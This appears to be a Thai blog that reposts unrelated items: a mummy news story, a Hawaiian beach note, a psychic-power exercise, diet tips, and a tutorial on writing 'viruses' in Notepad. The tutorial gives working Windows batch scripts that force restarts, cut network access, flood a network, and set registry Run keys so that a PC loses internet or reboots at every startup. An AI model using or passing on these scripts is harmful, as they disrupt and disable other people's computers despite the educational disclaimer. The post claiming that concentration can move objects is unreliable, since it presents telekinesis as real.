       ทางด้านอันเดรียส เนอร์ลิช นักพยาธิวิทยาจากโรงพยาบาลโบเกนเฮาเซน ในเมืองมิวนิคให้สัมภาษณ์เว็บไซต์ข่าวสปีเกลออนไลน์ว่า ถึงแม้กะโหลกและโครงกระดูกจะเป็นของจริง แต่มัมมี่ร่างนี้เป็น “ของปลอมที่ทำขึ้นมาจากศพของคนๆ เดียว หรือประกอบขึ้นจากชิ้นส่วนของคนหลายๆ คน”
      
       “สิ่งที่เราประสบอยู่ในตอนนี้เป็นคำถามที่ซ้อนอยู่บนคำถาม” นับตั้งแต่อเล็กซันเดอร์ ลูกชายของเขาพบมัมมี่นี้ราวหนึ่งเดือนก่อน เคตทเลอร์กล่าว
      
       เจ้าหน้าที่ตำรวจและอัยการได้ลงบันทึกคดีนี้ซึ่งเกิดขึ้นในเมืองดีโฟลซ์ รัฐโลเวอร์แซกโซนีเอาไว้แล้ว และกำลังรอข้อมูลเพิ่มเติมว่าศพนี้มาจากไหน ก่อนที่จะตรวจดูความเป็นไปได้ว่าจะเป็นฆาตกรรมอำพรางที่เพิ่งเกิดในยุคสมัยใหม่หรือไม่
      
       “เราจะรอจนกว่าจะทราบว่าโครงกระดูกนี้อายุเท่าไร” แฟรงก์ บาเวนดีก โฆษกตำรวจกล่าวกับสำนักข่าวดีพีเอของเยอรมนี “ถ้ามีอายุเป็นร้อยๆ ปี ก็แสดงว่าเป็นมัมมี่จริง และเราก็จะไม่สืบสวนต่อไปอีก”


INFO: http://manager.co.th/Around/ViewNews.aspx?NewsID=9560000111232

วันอาทิตย์ที่ 1 กันยายน พ.ศ. 2556

Punalu'u Beach


Punalu'u Beach หาดแห่งนี้ตั้งอยู่ที่ฮาวาย สหรัฐอเมริกา เป็นชายหาดที่มีสีดำเนื่องมาจากหินบะซอลที่เกิดจากลาวาจากภูเขาไฟใน Hawaiʻi Volcanoes National Park ที่ไหลลงสู่มหาสมุทร บริเวณหาดแห่งนี้ยังเป็นที่อาศัยของสัตว์ที่ใกล้สูญพันธุ์อย่างเต่าสีเขียว (Chelonia mydas) ซึ่งพวกมันมักจะมาอาบแดดที่หาดแห่งนี้


INFO: www.nextsteptv.com/infosat

การฝึกพลังจิต

การฝึกพลังจิต ลองดูนะฝรั่งเขาทำได้กันแล้ว

ก่อนอื่นก็ เตรียมอุปกรณ์ง่ายๆดังนี้
แก้วน้ำใส + ใบไม้

ให้เอาน้ำใส่ให้เกือบเต็มแก้ว ปริ่มๆ และวางใบไม้
ใบมะยม จะเหมาะที่สุดเพราะไม่ใหญ่มาก
ต้องทำในห้องที่เงียบๆนะ และ ห้ามมีลมพัดโดนน้ำ
เพราะเวลาเกิดการเปลี่ยนแปลง เราจะไม่รู้เลยว่าเพราะ
พลังจิตของเรา หรือเพราะลมพัดโดน

อย่างแรก ให้ปิดโทรศัพท์ ปิดเพลง เปิดแอร์ได้ไม่งั้นร้อนตายห่าเลย
มองไปในแก้ว ที่มีใบมะยมวางลอยน้ำอยู่
และเพ่งไป ให้นึกภาพในหัวว่า เราเห็นใบไม้ในแก้วเคลื่อนไหว
ไม่ต้องท่องคาถาอะไรทั้งนั้น เริ่มทำจากวันล่ะ 10 นาทีก่อน
หากไม่ได้ก็แค่นั้น อย่าไปโหม พอเริ่มชินและเริ่มจินตนาการภาพได้เก่งขึ้น
ก็ใช่จิตเพ่งไปอีก หากมีผลสำเร็จ น้ำจะกระเพื่อม ใบไม้จะหมุน
หรือแม้จะไม่มีอะไรเกิดขึ้น จิตเราจะแข็ง และหากตั้งใจ
เราจะสามารถควบคุม สั่งให้สิ่งของ ต่างๆ ขยับได้
ตามการฝึกของเรา อันนี้ไม่ได้โกหกนะ ลองเอาไปทำกันดู


INFO: http://www.dek-d.com/board/view/2741117/

วันอาทิตย์ที่ 9 มิถุนายน พ.ศ. 2556

วิธีเขียนโค้ดใน Notepad สร้างไวรัส ง่ายๆ แต่อันตราย

เอาไว้ศึกษาเป็นความรู้นะครับ อย่าเอาไว้ไปแกล้งใครนะครับ ส่วน Source Code ทุกๆ ชนิด ใช้วิธีทำแบบเดียวกันทั้งหมด คือ สร้าง Code ในโปรแกรม Notepad แล้วบันทึกในชื่อตามที่ต้องการ แต่นามสกุลต้องเป็น bat


ไวรัส #1 กดแล้ว ปิดเครื่อง

ตัวนี้ไม่มีอะไรมาก แค่ดับเบิลคลิกชื่อไฟล์ที่เราสร้าง เครื่องคอมพิวเตอร์ ก็จะชัตดาวน์ทันที ไม่ทำลายข้อมูลใดๆ ทั้งสิ้น

Code:

@echo off
TITLE Mr_Unlocker
shutdown -r -f -t0


วิธีทำ

1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.บันทึกไฟล์ชื่ออะไรก็ ได้แต่ให้มีนามสกุลเป็น .bat

***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***



ไวรัส # 2 ตัดการเชื่อมต่ออินเตอร์เน็ต/เน็ตเวิร์ก
อันนี้แรงขึ้นมาหน่อย จะตัดการทำงานของอินเตอร์เน็ต

Code:

@echo off
TITLE Mr_Unlocker
ipconfig /release



ไวรัส # Combo Virus
ตัวนี้จะมีความต่อเนื่องจากสองตัวข้างบน คือ เมื่อคลิกแล้ว จะทำ flood network และการทำงานจะวน loop จนเน็ตเวิร์กเดี้ยง

Code:

@echo off
TITLE Mr_Unlocker :CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH




ต่อไปนี้จะเป็นไวรัสที่สร้างความรุนแรงจริงๆนะครับ อย่าเผลอลองเชียว

ไวรัส # Disble IP Address
โดนตัวนี้เข้าไปก็อย่าหวังเลยว่าจะเข้าอินเตอร์เน็ตได้อีก - -'

Code:

@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\wimn32.bat
echo break off>>c:\windows\wimn32.bat
echo ipconfig/release_all>>c:\windows\wimn32.bat
echo end>>c:\windows\wimn32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
echo Unlocker Hackers Strike Again
PAUSE



ไวรัส # สั่งปิดเครื่องทุกๆ ครั้งที่เปิดจนถึง 11 วินาที (เปิดแล้วก็ปิดอยู่อย่างนั้น)

Code:


@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\hartlell.bat
echo break off>>c:\windows\hartlell.bat
echo shutdown -r -t 11 -f>>c:\windows\hartlell.bat
echo end>>c:\windows\hartlell.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
echo Unlocker Hackers Strike Again
PAUSE




บทความนี้ หวังเป็นอย่างยิ่งว่าใช้เพื่อการศึกษาเท่านั้น มิได้เจตนาสร้างความเดือดร้อนแก่ใคร ผู้ศึกษาควรใช้ความคิด และมีจริยธรรมในการศึกษา



เรียบเรียงโดย อ.ปริญญา น้อยดอนไพร สาขาวิชาวิทยาการคอมพิวเตอร์ คณะวิทยาศาสตร์และเทคโนโลยี มหาวิทยาลัยราชภัฏสุราษฎร์ธานี

วันอังคารที่ 2 เมษายน พ.ศ. 2556

ลดหุ่นให้เข้าที่ ด้วย 35 วิธีลดความอ้วน





          อยากลดหุ่นให้เข้าที่หรือ? ง่าย ๆ เลยค่ะ ลองเลือกทำตามวิธีลดความอ้วน ที่กระปุกดอทคอมนำฝากในวันนี้ ดูสิว่า วิธีไหนเหมาะสมกับคุณบ้าง หรือจะเลือกใช้ทุกวิธี เอาให้ผอมทันใจก็ย่อมได้ รับรองว่าดีต่อสุขภาพค่ะ

1.รับประทานผัก-ผลไม้มาก ๆ

          อย่าละเลยการรับประทานผัก-ผลไม้เด็ดขาดค่ะ เพราะผักผลไม้มีทั้งเส้นใย และสารอาหารต่าง ๆ ที่ดีกับคุณสาว ๆ แถมทานมากเท่าไหร่ก็ไม่อ้วนด้วย

2. หลีกเลี่ยงการทานอาหารทอด ๆ และติดมัน

          อาหารทอด ๆ มาพร้อมกับน้ำมันที่จะมาทำให้คุณอวบอั๋นขึ้นอย่างไม่ต้องสงสัย เช่นเดียวกับอาหารเนื้อสัตว์ติดมัน เช่น กุนเชียง หมูสามชั้นทอดกรอบ หนังไก่ กากหมู ถ้าไม่อยากอ้วน อดใจไว้ค่ะ

3.ทานดาร์กช็อกโกแลต

          ใช่ค่ะ คุณหูไม่ฝาด เรากำลังแนะนำให้คุณทานช็อกโกแลต แต่ไม่ใช่ว่าช็อกโกแลตทั่ว ๆ ไปก็ทานได้หรอกนะคะ ต้องเป็นดาร์ก ช็อกโกแลตเท่านั้น ถึงจะมีสารแอนตี้ออกซิเดนท์ และเป็นประโยชน์กับร่างกายของคุณสาว ๆ

4. ดื่มน้ำให้เพียงพอต่อความต้องการของร่างกาย

          แทบจะทุกบทความ ที่แนะนำให้คุณดื่มน้ำเปล่าอย่างน้อยวันละ 8-12 แก้ว เพราะน้ำจะช่วยเร่งระบบการเผาผลาญ จึงช่วยกำจัดไขมันส่วนเกินให้คุณด้วย ซ้ำยังช่วยให้คุณอิ่มเร็วขึ้นด้วย หากคุณดื่มน้ำ 1 แก้ว ก่อนทานอาหารทุกครั้ง แต่อย่าชะแว้บ! ไปมอง "น้ำอัดลม" หรือ "น้ำผลไม้" เชียว ยกเว้น "น้ำมะนาวผสมน้ำผึ้ง" ที่เราแนะนำให้คุณดื่มได้

5.ดื่มน้ำอย่างน้อย 1 แก้วหลังตื่นนอน

          จำ และทำให้เป็นนิสัย เพราะการดื่มน้ำอย่างน้อย 1 แก้ว ทันทีหลังจากที่คุณเพิ่งตื่นนอน จะทำให้ร่างกายสดชื่นขึ้นอย่างรวดเร็ว และยังจะช่วยให้ระบบขับถ่ายของเสียออกจากร่างกายทั้งหนักทั้งเบา ทำงานได้อย่างคล่องตัว

6.ทานอาหารเช้า

          จำได้ไหมว่า อาหารเช้าคืออาหารมื้อสำคัญที่สุดของวัน ถ้าหากคุณสาว ๆ พลาดอาหารเช้าในช่วงเวลา 6.00-10.00 น.ไปล่ะก็ คุณอาจจะรู้สึกหิวในมื้อต่อ ๆ ไปมากขึ้น ทีนี้ล่ะ คุณอาจจะเผลอตัวเผลอใจสวาปามอาหารที่อยู่ตรงหน้าโดยไม่ยั้ง แล้วจะลดน้ำหนักได้อย่างไรล่ะจ๊ะ

7.กินเพื่ออยู่ ไม่ใช่อยู่เพื่อกิน

          การไดเอท ไม่ได้สำคัญที่ว่าคุณทานอะไรเข้าไป แต่สำคัญที่ว่า ทำไมคุณถึงทานเข้าไปต่างหาก ฉะนั้นแล้ว หากใครชอบกินอาหารที่ไม่มีประโยชน์ เพียงเพื่ออยากทานสิ่งนั้น จงเปลี่ยนพฤติกรรมด่วนค่ะ ทานให้แต่พออิ่มจะดีกว่า และควรทานเมื่อเวลาที่หิวจริง ๆ

8.ออกกำลังกายสำคัญสุด ๆ

          แน่นอนว่า หนึ่งในวิธีที่คนทั่วโลกแนะนำก็คือ การออกกำลังกายนี่แหละ เพราะมันจะช่วยรักษาน้ำหนักให้คงที่ในระยะยาวได้ แถมยังจะช่วยให้คุณเผาผลาญแคลอรีให้กลายเป็นพลังงานได้คราวละมาก ๆ ด้วย หากคุณสาว ๆ ออกกำลังกายอย่างสม่ำเสมอ ลองหาเวลาเดินวันละ 30 นาที สัปดาห์ละ 5 วัน นอกจากคุณจะควบคุมน้ำหนักได้ดีแล้ว ยังจะมีกล้ามเนื้อที่แข็งแรงอีกด้วยล่ะ

9.หาเพื่อนร่วมอุดมการณ์ไดเอท

          เขาว่า "คนเดียวหัวหาย สองคนเพื่อนตาย" ใช่ไหมล่ะ เพราะฉะนั้น อย่ามาท้อแท้กับการไดเอทเพียงลำพังเลย ลองหาเพื่อนที่มีแนวคิดเดียวกัน แล้วชวนมาลดความอ้วนด้วยกันดีกว่า เพราะการมีเพื่อนหัวอกเดียวกัน จะทำให้คุณมีกำลังใจขึ้นอีกเยอะเลยค่ะ

10.อย่ากักตุนอาหารในตู้เย็น

          สาว ๆ มักจะชอบซื้ออะไรต่อมิอะไรมาเก็บไว้ในตู้เย็น อ้างว่าเตรียมไว้รับรองแขกบ้าง ไว้เลี้ยงเพื่อนบ้างล่ะ แต่สุดท้ายก็มักจะเหลือเต็มตู้เย็น จนคุณสาว ๆ นั่นแหละต้องมาทานเอง เพราะฉะนั้น หากไม่อยากอ้วน กำจัดของกินในตู้เย็นโดยด่วน คุณจะได้ไม่เผลอหยิบติดมือมาทานได้ง่ายเกินไปนั่นเอง แต่ถ้าอยากจะมีอาหารติดในตู้เย็น แนะนำว่า ผักผลไม้ และบรรดาอาหารเพื่อสุขภาพทั้งหลายจะเวิร์กที่สุดค่ะ

11.อย่ากินไป ดูทีวีไป

          รู้หรอกน่า ว่าคุณสาว ๆ ชอบกินนั่น กินนี่ กินจุบกินจิบทั้งวันไม่เป็นเวลา โดยเฉพาะเวลานั่งดูโทรทัศน์ หรือนั่งอ่านหนังสือ มักจะหาอะไรติดไม้ติดมือเข้าปากเป็นประจำ แต่นั่นแหละค่ะ การที่คุณสาว ๆ หยิบคุ้กกี้บ้าง ขนมปังกรอบบ้าง มันฝรั่งทอดบ้าง เข้าปากแต่ละที คุณจะเพลินจนลืมเรื่อง "อ้วน" ไปชั่วขณะเลยทีเดียว

12.ใส่ใจ "ข้าวกล้อง" กันให้มากขึ้น

          ปกติเรามักจะชินกับการรับประทาน "ข้าวขาว" ซึ่งจะได้เพียงแค่คาร์โบไฮเดรตเท่านั้น แต่หากคุณเปลี่ยนมาทาน "ข้าวกล้อง" แทน คุณจะได้ทั้งคาร์โบไฮเดรต วิตามิน เกลือแร่มากมายจากเยื่อหุ้มและจมูกข้าวที่ไม่ได้ถูกขัดสีออกไป

13."น้ำตาล" และ "เกลือ" จอมวายร้าย

          "น้ำตาล" เป็นสาเหตุที่ทำให้คุณมีปัญหาเรื่องน้ำหนัก เพราะฉะนั้นบรรดาของหวาน ลูกอม น้ำอัดลม เค้กต่าง ๆ จงงดเสีย!!! ให้ดื่มน้ำมะนาวแทน หรือทานน้ำตาลที่มาจากผลไม้จะดีกว่า เช่นเดียวกับ "เกลือ" ที่เราควรได้รับโซเดียมวันละไม่เกิน 1 ช้อนชาเท่านั้น แต่เกลือ หรือโซเดียมที่ผสมอยู่ในขนมต่าง ๆ อาหารฟาสต์ฟู้ดส์ รวมทั้งซุปที่ทานเข้าไปในแต่ละวัน ล้วนเกินปริมาณที่กำหนด จึงเป็นสาเหตุให้เกิดโรคความดันโลหิตสูง และทำให้เกิดปัญหาต่อสุขภาพมากมายตามมาได้ เพราะฉะนั้น ลดซะ!!!

14.ระวัง!!! สลัดน้ำข้น

          คุณสาว ๆ หลายคนอาจสงสัย ทำไมทานสลัดอยู่ทุกวัน ๆ ยังอ้วนอีก เพราะลืมไปว่า ตัวเองทานผักสลัดกับสลัดน้ำข้นนั่นไงล่ะ รู้ไหมว่า สลัดน้ำข้นนั้นอุดมไปด้วยครีมนม และไขมันนม ซึ่งหากรับประทานเข้าไปมาก ๆ แม้จะทานกับผักก็เถอะ ร้อยทั้งร้อย "อ้วน" อย่างไม่ต้องสงสัยเลยล่ะ

15.สรรหาจานสีเข้ม ๆ

          มีผลการศึกษาระบุว่า การใช้จานอาหารสีสดใสจะช่วยกระตุ้นให้คุณอยากทานอาหารมากขึ้น กลับกันหากคุณใช้จานอาหารสีเข้ม ๆ โดยเฉพาะสีน้ำเงิน จะทำให้คุณลดความอยากอาหารลงไปได้ และนี่เองจะช่วยสกัดกั้นไม่ให้คุณทานมาก จะได้ไม่ต้องลดน้ำหนักอย่างเอาเป็นเอาตายภายหลังอย่างไรล่ะคะ

16. ใช้ภาชนะให้เล็กลง

          นอกจากใช้ภาชนะสีเข้ม ๆ แล้ว การเปลี่ยนจานให้เล็กลง ก็เป็นวิธีทางจิตวิทยา ที่ทำให้เรารู้สึกว่า อาหารมีปริมาณมากขึ้น ทำให้เรารู้สึกอิ่มได้เร็ว ไม่อยากหาอะไรทานอีก

วิธีลดความอ้วน

17.ลด "ชา" , "กาแฟ" , "ครีมเทียม"

          การรับประทาน "ชา" , "กาแฟ" มากกว่าสองแก้วต่อวัน อาจทำให้คุณอ้วนได้ โดยเฉพาะหากใครชอบใส่ "ครีมเทียม" ในกาแฟ จะทำให้คุณได้รับแคลอรี่มากขึ้นโดยไม่รู้ตัว รวมทั้งกาแฟสดทั้งหลายด้วยล่ะ

18.เคี้ยวช้า ๆ ได้พร้าเล่มงาม

          การเคี้ยวอาหารช้า ๆ และเคี้ยวอย่างละเอียด ช่วยคุณสาว ๆ ลดความอ้วนได้อย่างไม่น่าเชื่อ เพราะจะทำให้สมองมีเวลาที่จะส่งสัญญาณไปบอกให้ท้องรู้สึกอิ่มได้แล้ว กลับกันคนที่เคี้ยวเร็ว กินเร็ว จะไม่รู้สึกอิ่มแม้ทานอาหารหมดจานแล้ว และเมื่อท้องไม่อิ่ม คุณสาว ๆ ก็มักจะมองหาของหวานตบท้ายมื้ออาหาร ซึ่งจะนำความอ้วนมาสู่ร่างกายของคุณอย่างชัวร์ ๆ

19.หลีกเลี่ยงไข่แดง ให้ทานไข่ขาว

          ไข่แดง อุดมไปด้วยคอเลสเตอรอล ที่เป็นบ่อเกิดของโรคหัวใจ และโรคอ้วน แต่ไข่ขาวไม่มีคอเลสเตอรอล ดังนั้น ควรหลีกเลี่ยงการรับประทานไข่แดง หรือทานในปริมาณน้อย และหันมาทานไข่ขาวแทน นอกจากนี้ หากวันไหนทานไข่มาก ๆ ก็ควรงดการทานอาหารที่มีไขมันสูงในมื้ออื่น ๆ ของวันเดียวกันด้วย เพื่อไม่ให้มีคอเลสเตอรอลสะสมในร่างกายมากเกินไป

20.อย่าให้รางวัลตัวเอง ด้วยการไปทานอาหาร

          สอบผ่าน! โปรเจกท์ผ่าน! พรีเซนต์งานผ่าน! ไปฉลองกันดีกว่า!!! หยุดความคิดนี้เลยค่ะ เพราะการที่คุณให้รางวัลกับความสำเร็จของตัวเอง ด้วยการไปรับประทานอาหารตามใจปาก อาจทำให้คุณอ้วนได้เหมือนกัน ทางที่ดีให้รางวัลกับตัวเองด้วยการทำสิ่งที่ตัวเองปรารถนา ยกเว้นเรื่องกิน!!! เช่น ไปช้อปปิ้ง ไปเที่ยวพักผ่อน นวดหน้า ทำผม ขัดผิว ฯลฯ จะดีที่สุดค่ะ

21.จำไว้ อย่าอด

          ใช่ว่า การไดเอทคือการอดอาหาร เพราะยิ่งคุณอดอาหารเท่าไหร่ จะมีผลต่อระดับน้ำตาลในเลือด แถมยังทำให้คุณหิวมากขึ้นมากขึ้น จนทำให้คุณสามารถทานได้มากกว่าปกติในมื้อต่อไป

22.แบ่งทานบางส่วน ไม่ต้องทานให้หมด

          สาว ๆ หลายคนบ่นเสียดายอาหารที่อยู่ตรงหน้า ไม่อยากเหลือทิ้งไว้ แต่สำหรับกฎเกณฑ์ของการลดความอ้วน คุณไม่จำเป็นต้องทานหมดหรอกค่ะ โดยคุณควรจะแบ่งอาหารในจานไว้ 4 ส่วน แล้วทานเพียงแค่ 3 ส่วนก็เพียงพอแล้ว

23.อย่าทานอะไรหลังมื้อเย็นอีก

          ไม่ดีแน่ หากคุณทานขนม หรืออาหารอะไรหลังจากคุณทานอาหารเย็นเรียบร้อยแล้ว ทางที่ดีคือ ควรจะให้ร่างกายได้พักผ่อนจากการย่อยอาหาร แล้วไปเริ่มทำงานใหม่ในมื้อเช้าของวันรุ่งขึ้นจะดีกว่า

24.นอนหลับพักผ่อนให้เพียงพอ

          ไม่เชื่อก็ต้องเชื่อค่ะว่า หากคุณพักผ่อนนอนหลับไม่เพียงพอ อาจจะมีผลกระทบต่อฮอร์โมนเลปติน ซึ่งทำหน้าที่ควบคุมความอยากอาหาร ดังนั้น อาจทำให้คุณยับยั้งชั่งใจในการรับประทานไม่อยู่ และอ้วนขึ้นได้ นอกจากนี้ หากคุณนอนหลับพักผ่อนอย่างเพียงพอแล้ว ก็สามารถช่วยให้ร่างกายกำจัดไขมันส่วนเกินออกไปได้เช่นกัน

25. ทานหลาย ๆ มื้อ (เล็ก ๆ) ในหนึ่งวัน

          ผลการศึกษาแสดงให้เห็นว่า การทานอาหาร 4-5 มื้อเล็ก ๆ ในแต่ละวัน จะช่วยควบคุมระบบการเผาผลาญ และความอยากอาหารได้ดีกว่าการทานอาหารมื้อปกติ 3 มื้อ โดยระหว่างมื้ออาหาร คุณอาจทานสแน็ก หรือผลไม้ เพื่อให้คุณอิ่ม และไม่หิวมากจนกระทั่งถึงมื้อต่อไป ทีนี้ในมื้อต่อไป คุณก็จะทานอาหารได้น้อยลงแล้ว

26. โปรตีน ตัวช่วยลดความอ้วนในทุก ๆ มื้อ

          มีคำแนะนำให้ในแต่ละมื้ออาหารต้องมีอาหารประเภทโปรตีนผสมด้วย เพราะโปรตีนจะช่วยคงสภาพกล้ามเนื้อ และกระตุ้นให้ร่างกายเผาผลาญไขมันได้ดีขึ้น โดยโปรตีนที่แนะนำก็คือ อาหารจำพวกถั่ว นม โยเกิร์ตนั่นเอง

27.เผ็ดหน่อย อร่อยดี

          การศึกษาพบว่า "พริก" ช่วยเพิ่มอุณหภูมิในร่างกาย และช่วยในการเผาผลาญ จึงมีประโยชน์เรื่องการควบคุมน้ำหนัก นอกจากนี้ การกินพริก จะไม่ทำให้รู้สึกอยากกินหวานอีก รับรองว่า กินพริกแล้ว ลืมเรื่องความอ้วนไปได้เลย

28.ดื่มชาเขียว

          มหาวิทยาลัยสวิสเซอร์แลนด์พบว่า การดื่มชาเขียวเป็นทางหนึ่งที่ช่วยลดน้ำหนัก เพราะจะช่วยเรื่องการเผาผลาญแคลอรี่ได้ ดังนั้นควรพยายามดื่ม 3 ถ้วยต่อวัน แต่ขอเตือนไว้ก่อนว่า ต้องเป็นชาเขียวบริสุทธิ์จริง ๆ ไม่ใช่ชาเขียวในขวดที่มีส่วนผสมของน้ำตาลในปริมาณมาก แบบนี้ลดความอ้วนไม่ได้แน่นอนค่ะ

29. ดื่มนม ก็ช่วยลดความอ้วน

          หากไม่ชอบดื่มชาเขียว จะลองหันมาดื่มนมก็ช่วยลดความอ้วนได้ เพราะนมเป็นแหล่งอุดมไปด้วยแคลเซียม ซึ่งมีการศึกษาพบว่า การที่ร่างกายได้รับวิตามินดีและแคลเซียมสูง จะช่วยให้น้ำหนักของเราลดลงได้ แถมนมยังทำให้เรารู้สึกอิ่มจนไม่อยากทานอาหาร หรือเครื่องดื่มอะไรที่มีน้ำตาลด้วย

30.อ่านฉลากรายละเอียดของผลิตภัณฑ์ด้วยล่ะ

          ก่อนซื้ออาหารหรือเครื่องดื่ม ลองอ่านรายละเอียดที่ติดอยู่ข้างผลิตภัณฑ์ หีบห่อ ฯลฯ ดูก่อนทุกครั้ง เพราะมันจะช่วยให้คุณหลีกเลี่ยงการซื้อผลิตภัณฑ์ที่มีแคลอรีสูง หรือไขมันสูงได้ แต่ขอย้ำว่า ยามใดที่ไปซุปเปอร์มาร์เก็ต ควรหลีกเลี่ยงการไปเดินในบริเวณที่ขายคุ้กกี้ พิซซ่าแช่แข็ง และไอศกรีม เพราะคุณอาจจะไม่ทันได้อ่านฉลากข้างกล่องก็ซื้อมันได้ง่าย ๆ เพราะติดใจในความอร่อยของมันนั่นเอง

31.จดบันทึกประจำวันให้เป็นนิสัย

          แต่ละวันคุณกินอะไรไปบ้าง ลองจดบันทึกไว้ทุก ๆ สัปดาห์ดูสิ เพราะมันจะช่วยให้คุณยับยั้งชั้งใจ และควบคุมพฤติกรรมการรับประทานอาหารได้ดีเลยทีเดียว

32.ทานผลไม้สด ดีกว่าผลไม้ดอง หรือน้ำผลไม้ปั่น

          น้ำผลไม้ปั่นมักผสมน้ำเชื่อม น้ำตาล ทำให้คุณสาว ๆ ได้รับน้ำตาลเกินความจำเป็น ขณะเดียวกัน ผลไม้ดอง ก็อาจมีสารแซคคารีน หรือที่เรียกว่าขัณฑสกรผสมอยู่ ซึ่งเป็นอันตรายต่อสุขภาพ เพราะฉะนั้น ถ้าอยากได้วิตามินที่ครบถ้วน เลือกทานผลไม้สดดีกว่าแน่นอนค่ะ

33.ความเครียด คือ จุดอ่อน

          รู้ไหมคะว่า เมื่อฮอร์โมนความเครียดเพิ่มขึ้น ก็ทำให้ความต้องการอาหารในร่างกายเพิ่มขึ้น หรือทำให้หิวนั่นเอง แถมหิวบ่อยชนิดที่ไม่รู้ตัวเลยด้วย เพราะคนเครียดส่วนใหญ่มักจะจมอยู่กับความเครียด จนลืมสังเกตพฤติกรรมการกินของตัวเอง ดังนั้น ทำตัวเองให้ห่างไกลจากความเครียดเถอะค่ะ

34.หัวเราะ ช่วยลดความอ้วน

          งานวิจัยระบุว่า การหัวเราะจะทำให้หัวใจเต้นเร็วขึ้น ขณะเราหัวเราะ จะหายใจเอาออกซิเจนเข้าไปได้มากขึ้น ทำให้กล้ามเนื้อท้องได้ออกกำลังไปในตัว

35.ชั่งน้ำหนักอาทิตย์ละครั้ง

          ไม่จำเป็นที่คุณจะรีบร้อน ชั่งน้ำหนักตัวทุก ๆ วัน เพราะหากคุณลดไม่ได้ดังใจปรารถนาแล้ว จะยิ่งทำให้คุณเครียดเสียเปล่า ๆ เพราะฉะนั้น ชั่งน้ำหนัก และเปลือยกายสำรวจตัวเองในห้องน้ำอาทิตย์ละครั้งก็เพียงพอแล้วล่ะ


          เป็นอย่างไรกันบ้าง สำหรับ 35 วิธีลดความอ้วน วิธีลดน้ำหนัก ที่เรานำมาแนะนำกันวันนี้ ใครถูกใจวิธีไหน ลองไปใช้กันดูนะคะ อ้อ...แล้วก็ต้องปฏิบัติตามอย่างสม่ำเสมอด้วยล่ะ ถึงจะเห็นผลเร็วค่ะ



INFO: http://hilight.kapook.com/view/9941

7 เคล็ดลับ ผลาญ ส่วนเกิน






ถ้าสาวๆ อยากได้รูปร่างสวยเพรียว นอกจากจะต้องเอาจริงกับมันแล้ว ยังต้องมีวิธีลดน้ำหนักที่ถูกต้องด้วย

   1. งดอาหารที่มีไขมันอย่างเด็ดขาด

วิธีนี้จะช่วยให้หน้าท้องลดลงได้ดีที่สุด เพราะหน้าท้องของเราจะเป็นที่แรกที่ร่างกายจะเอาไขมัน ส่วนเกิน มาสะสมไว้

2. จำกัดปริมาณอาหารเรียงกันไปในแต่ละมื้อ

ทานมื้อเช้าให้มากที่สุด มื้อกลางวันรองลงมา ส่วนมื้อเย็นควรเป็นมื้อที่ทานน้อยที่สุด หรือกินแค่ผลไม้หรือสลัดผักสักจานก็พอแล้ว

3. ออกกำลังกายอย่างน้อย 3 ครั้งต่อสัปดาห์
แต่ละครั้งไม่ต่ำกว่า 30 นาที สาวๆควรจะออกกำลังกายอย่างสม่ำเสมอ เพื่อให้การเผาผลาญไขมันส่วนเกินเป็นไปอย่างต่อเนื่อง และเมื่อสลายไขมันได้แล้ว การออกกำลังกายต่อไปก็จะทำให้กล้ามเนื้อกระชับและป้องกันไม่ได้ไขมันกลับมาอีก

4. สำหรับการออกกำลังกายเพื่อลดน้ำหนักนั้น
จะต้องเน้นที่การเคลื่อนไหวเป็นจังหวะด้วยจึงจะได้ผลดี เช่น เต้นแอโรบิก วิ่ง ว่ายน้ำ

5. ถ้าสาวๆ อยากจะออกกำลังกายเฉพาะส่วนเพื่อลดหน้าท้อง

ควรจะทำในช่วงเช้าจะได้ผลดีที่สุด เพราะในตอนเช้าเป็นเวลาที่ระบบต่างๆ ในลำไส้กำลังทำงาน ถ้าได้ออกกำลังกายก็จะยิ่งเสริมการเผาผลาญบริเวณนี้ให้มากขึ้น

6. สำหรับท่าบริหารลดหน้าท้อง

ไม่ว่าจะเลือกทำท่าใดก็ตาม ควรจะทำไม่ต่ำกว่าเซ็ตละ 15 ที จากนั้นก็ค่อยๆ เพิ่มจำนวนเซ็ตขึ้นไปเรื่อยๆ จนถึง 3 เซ็ตใน 1 ครั้ง

7. ถ้าจะลดหน้าท้องให้ได้ผล

หัวใจหลักอยู่ที่การทำให้กล้ามเนื้อหน้าท้องได้เคลื่อนไหวอย่างต่อเนื่อง ถ้าท่าลดหน้าท้องที่สาวเลือกใช้ทำไม่ได้ตามนี้ ก็แสดงว่าท่านั้นเป็นท่าที่ไม่ได้ผลหรือต่อให้ออกกำลังกายอย่างหักโหม แต่หน้าท้องไม่ได้เคลื่อนไหวเลย ก็เท่ากับว่าเสียแรงเปล่าอยู่ดี



ขอบคุณเนื้อหาดีดีจาก spicy

วันอาทิตย์ที่ 31 มีนาคม พ.ศ. 2556

รู้หรือเปล่า? ดนตรีช่วยให้กินน้อยลงได้



การไปกินข้าวนอกบ้านนี่มันเจ๋งสุดๆ เลยใช่ป่ะหล่ะ?

แต่ปริมาณแคลอรี่ที่ตามมา หลังจากออกไปหม่ำมื้อพิเศษนี่แหละ ที่มันทำให้ความเจ๋งลดลงถึงขั้นติดลบ

จากงานวิจัยใหม่ล่าสุด มีวิธีที่ง่ายมากเลยที่จะกินให้น้อยลง โดยไม่ต้องฝืนใจตัวเองอย่างหนัก!

จากการศึกษาของ "คอร์เนล" พบว่า เรามีแนวโน้มที่จะกินน้อยลงในร้านอาหาร ด้วยแสงสลัวๆ และดนตรีเบาๆ (อย่างแจ๊สนะ ไม่ใช่ร็อกหรือแทงโก้) และจะดียิ่งกว่าเมื่อเราเพลิดเพลินกับอาหารมากกว่าสภาพแวดล้อม

